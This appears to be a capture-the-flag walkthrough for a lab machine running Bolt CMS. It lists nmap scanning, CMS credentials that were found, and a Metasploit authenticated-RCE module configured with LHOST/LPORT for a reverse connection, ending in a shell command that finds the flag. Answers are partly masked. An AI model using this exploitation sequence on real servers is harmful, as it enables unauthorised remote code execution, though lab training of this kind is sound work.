Bolt

• Start the machine

  no answer needed
  

• What port number has a web server with a CMS running?

  • nmap -sV <TARGET_IP>
  • 8000

• What is the username we can find in the CMS?

  • bolt

• What is the password we can find for the username?

  • *****d*in123

• What version of the CMS is installed on the server? (Ex: Name 1.1.1)

  • Login into the page <TARGET_IP>/bolt with username and password previously found.
  • Bolt 3.7.1

• There's an exploit for a previous version of this CMS, which allows authenticated RCE. Find it on Exploit DB. What's its EDB-ID?

  • Search on Google Bolt RCE Exploit DB
  • ***2*

• Metasploit recently added an exploit module for this vulnerability. What's the full path for this exploit? (Ex: exploit/....)

  • msfconsole
  • search bolt
  • use *
  • exploit/unix/******************************

• Set the LHOST, LPORT, RHOST, USERNAME, PASSWORD in msfconsole before running the exploit

  no answer needed
  

  • set LHOST <YOUR_IP>
  • set LPORT 1234
  • set RHOST <TARGET_IP>
  • set USERNAME bolt
  • set PASSWORD ************

• Look for flag.txt inside the machine.

  • exploit
  • cat $(find / | grep flag.txt)
  • THM{***************************}